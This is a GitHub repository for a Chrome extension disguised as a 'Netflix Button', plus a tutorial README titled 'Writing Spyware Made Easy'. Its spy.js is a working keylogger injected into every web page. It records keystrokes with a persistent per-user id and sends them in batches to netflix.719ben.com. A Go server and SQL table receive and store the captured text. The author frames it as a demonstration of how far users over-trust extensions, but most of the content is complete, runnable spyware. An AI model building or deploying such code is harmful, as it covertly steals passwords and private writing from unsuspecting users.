├── extension ├── icon128.png ├── icon16.png ├── icon48.png ├── background.js ├── manifest.json └── spy.js ├── server ├── run_local.sh ├── database.sql └── main.go ├── .gitignore ├── LICENSE └── README.md /extension/icon128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/biw/chrome-spyware/HEAD/extension/icon128.png -------------------------------------------------------------------------------- /extension/icon16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/biw/chrome-spyware/HEAD/extension/icon16.png -------------------------------------------------------------------------------- /extension/icon48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/biw/chrome-spyware/HEAD/extension/icon48.png -------------------------------------------------------------------------------- /server/run_local.sh: -------------------------------------------------------------------------------- 1 | export DATABASE_URL="postgres://postgres:@localhost:5432/chrome_spyware" 2 | 3 | go run main.go 4 | -------------------------------------------------------------------------------- /server/database.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE events ( 2 | userId text, 3 | letters text, 4 | "timestamp" timestamp with time zone 5 | ); 6 | -------------------------------------------------------------------------------- /extension/background.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | window.chrome.browserAction.onClicked.addListener((activeTab) => { 4 | window.chrome.tabs.create({ url: 'https://www.netflix.com/' }) 5 | }) 6 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | # Binaries for programs and plugins 4 | *.exe 5 | *.dll 6 | *.so 7 | *.dylib 8 | 9 | # Test binary, build with `go test -c` 10 | *.test 11 | 12 | # Output of the go coverage tool, specifically when used with LiteIDE 13 | *.out 14 | 15 | # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736 16 | .glide/ 17 | -------------------------------------------------------------------------------- /extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "manifest_version": 2, 3 | "name": "Netflix Button", 4 | "description": "Shortcut to Netflix on Chrome!", 5 | "version": "1.0", 6 | "homepage_url": "https://github.com/719Ben/chrome-spyware", 7 | "icons": { 8 | "16": "icon16.png", 9 | "48": "icon48.png", 10 | "128": "icon128.png" 11 | }, 12 | "browser_action": { 13 | "default_icon": "icon16.png", 14 | "default_title": "Open Netflix!" 15 | }, 16 | "background": { 17 | "scripts": [ 18 | "background.js" 19 | ], 20 | "persistent": false 21 | }, 22 | "permissions": [ 23 | "tabs", 24 | "storage" 25 | ], 26 | "content_scripts": [ 27 | { 28 | "matches": [""], 29 | "js": ["spy.js"] 30 | } 31 | ] 32 | } 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Ben Williams 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/go-pg/pg" 5 | "log" 6 | "net/http" 7 | "os" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | var DBConnection *pg.DB 13 | 14 | type Event struct { 15 | userId string 16 | Letters string 17 | Timestamp time.Time 18 | } 19 | 20 | func createDB() *pg.DB { 21 | url := os.Getenv("DATABASE_URL") 22 | url = strings.TrimPrefix(url, "postgres://") 23 | 24 | dbAt := strings.LastIndex(url, "/") + 1 25 | database := url[dbAt:] 26 | url = url[:dbAt-1] 27 | 28 | authAndHost := strings.Split(url, "@") 29 | auth := strings.Split(authAndHost[0], ":") 30 | username := auth[0] 31 | password := auth[1] 32 | hostAndPort := authAndHost[1] 33 | 34 | db := pg.Connect(&pg.Options{ 35 | User: username, 36 | Password: password, 37 | Database: database, 38 | Addr: hostAndPort, 39 | }) 40 | 41 | return db 42 | } 43 | 44 | func spywareHandler(w http.ResponseWriter, r *http.Request) { 45 | userId := r.FormValue("userId") 46 | letters := r.FormValue("letters") 47 | 48 | event := &Event{userId, letters, time.Now()} 49 | 50 | inErr := DBConnection.Insert(event) 51 | if inErr != nil { 52 | log.Println(inErr) 53 | return 54 | } 55 | } 56 | 57 | func main() { 58 | DBConnection = createDB() 59 | http.HandleFunc("/", spywareHandler) 60 | http.ListenAndServe(":8000", nil) 61 | } 62 | -------------------------------------------------------------------------------- /extension/spy.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | document.onkeypress = (evt) => { 4 | let letter = String.fromCharCode(evt.keyCode) 5 | let userId = null 6 | 7 | window.chrome.storage.local.get('userId', (items) => { 8 | userId = items.userId 9 | if (userId === undefined) { 10 | userId = getRandomToken() 11 | window.chrome.storage.local.set({userId: userId}) 12 | } 13 | }) 14 | 15 | window.chrome.storage.local.get('letterArray', (items) => { 16 | let letterArray = items.letterArray 17 | if (letterArray === undefined) { 18 | letterArray = '' 19 | } 20 | 21 | letterArray += letter 22 | 23 | if (letterArray.length > 19) { 24 | let xhr = new window.XMLHttpRequest() 25 | xhr.open('POST', 'https://netflix.719ben.com', true) 26 | xhr.setRequestHeader('Content-type', 27 | 'application/x-www-form-urlencoded') 28 | xhr.send(`userId=${userId}&letters=${letterArray}`) 29 | // clear the array 30 | letterArray = '' 31 | } 32 | window.chrome.storage.local.set({letterArray: letterArray}) 33 | }) 34 | } 35 | 36 | const getRandomToken = () => { 37 | let randomPool = new Uint8Array(32) 38 | window.crypto.getRandomValues(randomPool) 39 | let hex = '' 40 | for (let i = 0; i < randomPool.length; ++i) { 41 | hex += randomPool[i].toString(16) 42 | } 43 | return hex 44 | } 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Writing Spyware Made Easy 2 | 3 | Recently, I saw a [forum post](https://forum.sublimetext.com/t/rfc-default-package-control-channel-and-package-telemetry/30157) about how the startup [KITE](https://getkite.co/) added ~~spyware~~ “telemetry tracking” to an open source project. I thought it was interesting to see how shocked people were that a software package was spying on them. It made me realize I, and others, trust software extensions far too much. Over trusting extensions is dangerous, it's simple to write spyware into them. To show how simple, we are going to walk through all the steps of adding very simplistic, but powerful, spyware into a Google Chrome extension. We will write both the spyware client and the server to receive data. 4 | 5 | ## Client 6 | The first step in making spyware is creating a client. We are going to create a simple Chrome Extension that is a button to open up Netflix in a new tab. Then add spyware that records every keystroke in the browser and then sends it to a server. 7 | 8 | ### `manifest.json` 9 | The first thing we need to create for our new Chrome app is a `manifest.json` file. The [manifest file](https://developer.chrome.com/extensions/manifest) is the configuration file for Chrome Extensions. We are going to start by setting the `manifest_version` to `2` (It always has to be `2`), then adding the extensions `name`, `description`, `version`, `homepage_url`, `icons` which are self-describing fields, so we won't go into those. However, the `browser_action`, `background`, `permissions`, and `content_scripts` fields require some explanation. 10 | 11 | * `browser_action` lists the properties of the button located in extension bar in Chrome. 12 | * `background` defines a script that is triggered when a user clicks our button in the extension bar. This script runs in an isolated sandbox and cannot directly look at information from a websites users visit. We use the background script to open up a new tab with Netflix. `persistent: false` let the script be unloaded by Chrome when it is not in use, which frees up memory and other system resources. 13 | * `permissions` give the ability to create and manage `tabs` and use Chrome’s extension `storage`. We use `tabs` to create the new Netflix tab and `storage` to create a buffer for users keystrokes. 14 | * `content_scripts` defines a JavaScript file that is injected into **every single HTML page** that a user visits. We set the script to the keystroke spyware, `spy.js`. 15 | 16 | ```json 17 | { 18 | "manifest_version": 2, 19 | "name": "Netflix Button", 20 | "description": "Shortcut to Netflix on Chrome!", 21 | "version": "1.0", 22 | "homepage_url": "https://github.com/719Ben/chrome-spyware", 23 | "icons": { 24 | "16": "icon16.png", 25 | "48": "icon48.png", 26 | "128": "icon128.png" 27 | }, 28 | "browser_action": { 29 | "default_icon": "icon16.png", 30 | "default_title": "Open Netflix!" 31 | }, 32 | "background": { 33 | "scripts": [ 34 | "background.js" 35 | ], 36 | "persistent": false 37 | }, 38 | "permissions": [ 39 | "tabs", 40 | "storage" 41 | ], 42 | "content_scripts": [ 43 | { 44 | "matches": [""], 45 | "js": ["spy.js"] 46 | } 47 | ] 48 | } 49 | ``` 50 | 51 | ### `background.js` 52 | As was mentioned above, `background.js` is where the legitimate part of our extension lives. We want our extension to open up Netflix when a user clicks the icon, so we need an event listener that creates a new tab. The code is straightforward and only ends up being 2 lines. 53 | 54 | ```javascript 55 | window.chrome.browserAction.onClicked.addListener((activeTab) => { 56 | window.chrome.tabs.create({ 57 | url: 'https://www.netflix.com/' 58 | }) 59 | }) 60 | ``` 61 | 62 | We now have a fully functioning extension (without spyware) ready to put on the internet. 63 | 64 | ### `spy.js` 65 | We are going to start by creating an event listener for when a user types. Javascript has three event listeners for when a user interacts with their keyboard; `onkeydown`, `onkeyup`, and `onkeypress`. There is a more formal definition of the difference on [Stack Overflow](https://stackoverflow.com/questions/3396754/onkeypress-vs-onkeyup-and-onkeydown), but I'll try to summarize a more practical version. 66 | 67 | * `onkeydown` gets almost every keystroke, every non-input keys such as `shift`, `alt`, `control`. However, `onkeydown` can not tell the case of the keystroke. It is triggered when the key is first pressed down. It also catches multiple keystrokes if a user holds down the key. 68 | * `onkeyup` also gets almost every keystroke including non-input keys and also cannot detect the case of the keystrokes. The only practical difference from `onkeydown` is that it triggered once the key is released, so it does not catch keystrokes caused by holding down a key. 69 | * `onkeypress` triggers when the key is pressed down, just like `onkeydown`. Like `onkeyup`, it does not detect when a user holds down a key. It is the only event that can detect the case of keystroke, but it is the only event that cannot detect button presses that are non-input. 70 | 71 | We are creating our extension to be simple but effective as possible. Because character case is more valuable for our spyware than non-input keystrokes, we start our keylogger by using `onkeypress`. We are going to set the event to trigger an anonymous function, then log the key. 72 | 73 | ```javascript 74 | document.onkeypress = (evt) => { 75 | let letter = String.fromCharCode(evt.keyCode) 76 | console.log(letter) 77 | } 78 | ``` 79 | 80 | Now that the extension is “logging” all of a users keystroke on every page, it needs to send the keys to a remote server. We can do this by making a simple post request with a few lines of JavaScript to a server. 81 | 82 | ```javascript 83 | document.onkeypress = (evt) => { 84 | let letter = String.fromCharCode(evt.keyCode) 85 | 86 | let xhr = new window.XMLHttpRequest() 87 | xhr.open('POST', 'https://netflix.719ben.com/', true) 88 | xhr.setRequestHeader('Content-type', 89 | 'application/x-www-form-urlencoded') 90 | xhr.send(`letter=${letter}`) 91 | } 92 | ``` 93 | 94 | We could stop there, the extension would send every keystroke any user of our extension made, but we can make a few changes that make it much more effective and efficient. We want to be able to tell the difference between each user that uses the extension, so we generate an (almost always) unique id for each one. We can use `window.crypto` to generate a random string and put it into an `int8` array that has 32 elements. Then convert the random array to a hexadecimal string. 95 | 96 | ```javascript 97 | const getRandomToken = () => { 98 | let randomPool = new Uint8Array(32) 99 | window.crypto.getRandomValues(randomPool) 100 | let hexToken = '' 101 | for (let i = 0; i < randomPool.length; ++i) { 102 | hex += randomPool[i].toString(16) 103 | } 104 | return hexToken 105 | } 106 | ``` 107 | 108 | We want to be able to generate this token once and then store it so we can keep track of a user over time. To do this, the [chrome.storage](https://developer.chrome.com/extensions/storage) API is needed. We can use the API to save an ID for every computer which our extension is on. We are first going to check if we have an ID already stored, creating one if we do not. 109 | 110 | ```javascript 111 | window.chrome.storage.local.get('userId', (items) => { 112 | let userId = items.userId 113 | 114 | if (userId === undefined) { 115 | userId = getRandomToken() 116 | window.chrome.storage.local.set({userId: newId}) 117 | } 118 | }) 119 | ``` 120 | 121 | Now that we have a way to generate new Ids for all browsers using the extension, we need to start sending those Ids to the server. This will only require a few small changes. 122 | 123 | ```javascript 124 | document.onkeypress = (evt) => { 125 | let letter = String.fromCharCode(evt.keyCode) 126 | let userId = null 127 | 128 | window.chrome.storage.local.get('userId', (items) => { 129 | userId = items.userId 130 | if (userId === undefined) { 131 | userId = getRandomToken() 132 | window.chrome.storage.local.set({userId: userId}) 133 | } 134 | }) 135 | 136 | let xhr = new window.XMLHttpRequest() 137 | xhr.open('POST', 'https://netflix.719ben.com/', true) 138 | xhr.setRequestHeader('Content-type', 139 | 'application/x-www-form-urlencoded') 140 | xhr.send(`userId=${userId}&letter=${letter}`) 141 | } 142 | ``` 143 | 144 | We are going to make one final addition to our spyware, a buffer. A request every keystroke is a little unnecessary considering [most people type at least 40 WPM](https://en.wikipedia.org/wiki/Words_per_minute). We already have set up a way to store things in Chrome, which will make a great place for us to store keystroke to be sent in groups. So we are going to add a simple buffer that only sends a request to our server every 20 keystrokes and store keystrokes in Chrome until 20 are queued. 145 | 146 | ```javascript 147 | document.onkeypress = (evt) => { 148 | let letter = String.fromCharCode(evt.keyCode) 149 | let userId = null 150 | 151 | window.chrome.storage.local.get('userId', (items) => { 152 | userId = items.userId 153 | if (userId === undefined) { 154 | userId = getRandomToken() 155 | window.chrome.storage.local.set({userId: userId}) 156 | } 157 | }) 158 | 159 | window.chrome.storage.local.get('letterArray', (items) => { 160 | let letterArray = items.letterArray 161 | if (letterArray === undefined) { 162 | letterArray = '' 163 | } 164 | 165 | letterArray += letter 166 | 167 | if (letterArray.length > 19) { 168 | let xhr = new window.XMLHttpRequest() 169 | xhr.open('POST', 'https://netflix.719ben.com/', true) 170 | xhr.setRequestHeader('Content-type', 171 | 'application/x-www-form-urlencoded') 172 | xhr.send(`userId=${userId}&letters=${letterArray}`) 173 | // clear the array 174 | letterArray = '' 175 | } 176 | window.chrome.storage.local.set({letterArray: letterArray}) 177 | }) 178 | } 179 | 180 | const getRandomToken = () => { 181 | let randomPool = new Uint8Array(32) 182 | window.crypto.getRandomValues(randomPool) 183 | let hex = '' 184 | for (let i = 0; i < randomPool.length; ++i) { 185 | hex += randomPool[i].toString(16) 186 | } 187 | return hex 188 | } 189 | ``` 190 | 191 | Now we have a fulling functioning chrome extension that sends users to Netflix when they click a button and sends a server all the user’s keystrokes inside of Netflix, along with other websites they visit. 192 | 193 | ### Icons 194 | I used Photoshop to generate the icons used in the extension. View the icons, along with the rest of the code, in the current repo. 195 | 196 | ## Server 197 | Now that we have a fully functioning client sending data to a random server, we need to create a server. We are going to be creating a straightforward server in Go that parses our request and inserts the `id` and character list into a database. First, install [Go](https://golang.org/doc/install), [go-pg/pg](https://github.com/go-pg/pg), and [PostgreSQL](https://wiki.postgresql.org/wiki/Detailed_installation_guides). Next, we write a single HTTP Handler that parses the input that we defined in the Client. Since the Client does not care about a response, we won’t bother returning one. 198 | 199 | ```go 200 | package main 201 | 202 | import ( 203 | "log" 204 | "net/http" 205 | ) 206 | 207 | func spywareHandler(w http.ResponseWriter, r *http.Request) { 208 | userId := r.FormValue("userId") 209 | letters := r.FormValue("letters") 210 | log.Println(userId, letters) 211 | } 212 | 213 | func main() { 214 | http.HandleFunc("/", spywareHandler) 215 | http.ListenAndServe(":8000", nil) 216 | } 217 | ``` 218 | 219 | Now that we have our data, we want to start sending it to the PostgreSQL database. We are going to be using the [go-pg/pg](https://github.com/go-pg/pg) ORM package to connect to our database. To configure our database variables, we are going to use an environment variable. 220 | 221 | ```bash 222 | export DATABASE_URL="postgres://postgres:@localhost:5432/chrome_spyware" 223 | ``` 224 | 225 | `go-pg/pg` doesn’t have a built in function to handle database strings, so we need to write our own. The function gets environment variable, parse the database string, connect to the database, and return the connection. 226 | 227 | ```go 228 | func createDB() *pg.DB { 229 | url := os.Getenv("DATABASE_URL") 230 | url = strings.TrimPrefix(url, "postgres://") 231 | 232 | dbAt := strings.LastIndex(url, "/") + 1 233 | database := url[dbAt:] 234 | url = url[:dbAt-1] 235 | 236 | authAndHost := strings.Split(url, "@") 237 | auth := strings.Split(authAndHost[0], ":") 238 | username := auth[0] 239 | password := auth[1] 240 | hostAndPort := authAndHost[1] 241 | 242 | db := pg.Connect(&pg.Options{ 243 | User: username, 244 | Password: password, 245 | Database: database, 246 | Addr: hostAndPort, 247 | }) 248 | 249 | return db 250 | } 251 | ``` 252 | 253 | Since `go-pg/pg` is an ORM, we want to create an object to represent each set of data we get from a client. 254 | 255 | ```go 256 | type Event struct { 257 | UserId string 258 | Letters string 259 | Timestamp time.Time 260 | } 261 | ``` 262 | 263 | The final thing we need to do is add the data to our database. Since we are using an ORM, it is only a few lines of code. One of the last important things is to make the database connection global so that there is only one connection. Then we put all out parts together to get our full server. 264 | 265 | ```go 266 | package main 267 | 268 | import ( 269 | "github.com/go-pg/pg" 270 | "log" 271 | "net/http" 272 | "os" 273 | "strings" 274 | "time" 275 | ) 276 | 277 | var DBConnection *pg.DB 278 | 279 | type Event struct { 280 | UserId string 281 | Letters string 282 | Timestamp time.Time 283 | } 284 | 285 | func createDB() *pg.DB { 286 | url := os.Getenv("DATABASE_URL") 287 | url = strings.TrimPrefix(url, "postgres://") 288 | 289 | dbAt := strings.LastIndex(url, "/") + 1 290 | database := url[dbAt:] 291 | url = url[:dbAt-1] 292 | 293 | authAndHost := strings.Split(url, "@") 294 | auth := strings.Split(authAndHost[0], ":") 295 | username := auth[0] 296 | password := auth[1] 297 | hostAndPort := authAndHost[1] 298 | 299 | db := pg.Connect(&pg.Options{ 300 | User: username, 301 | Password: password, 302 | Database: database, 303 | Addr: hostAndPort, 304 | }) 305 | 306 | return db 307 | } 308 | 309 | func spywareHandler(w http.ResponseWriter, r *http.Request) { 310 | userId := r.FormValue("userId") 311 | letters := r.FormValue("letters") 312 | event := &Event{userId, letters, time.Now()} 313 | 314 | inErr := DBConnection.Insert(event) 315 | if inErr != nil { 316 | log.Println(inErr) 317 | return 318 | } 319 | } 320 | 321 | func main() { 322 | DBConnection = createDB() 323 | http.HandleFunc("/", spywareHandler) 324 | http.ListenAndServe(":8000", nil) 325 | } 326 | ``` 327 | 328 | Now we have a fully functioning server to receive and store all the keystrokes that clients send. We need to create a SQL database that matches, which should be very easy since we only have one table `events`. 329 | 330 | ```sql 331 | CREATE TABLE events ( 332 | userId text, 333 | letters text, 334 | "timestamp" timestamp with time zone 335 | ); 336 | ``` 337 | 338 | After we get the database set up, we are done! We can now run our server locally or upload it to [Heroku](http://heroku.com/) without any trouble. 339 | 340 | ## Conclusion 341 | There we have it, a client and server for our custom spyware. Even though we have a new extension ready for upload the Chrome Extension Store, uploading it would violate the [terms of service](https://developer.chrome.com/webstore/terms#review). While I chose to focus on writing spyware for a Google Chrome Extension, the ease of which we wrote it is not exclusive to Chrome Extensions. It would be equally as easy to write spyware into extensions of almost every modern day program. 342 | 343 | View code on [Github](https://github.com/719Ben/719Ben.github.io). 344 | 345 | If you see any errors, please make a [pull request](https://github.com/719Ben/719Ben.github.io) or let me know on [twitter](https://twitter.com/719ben), I would love to fix them! 346 | --------------------------------------------------------------------------------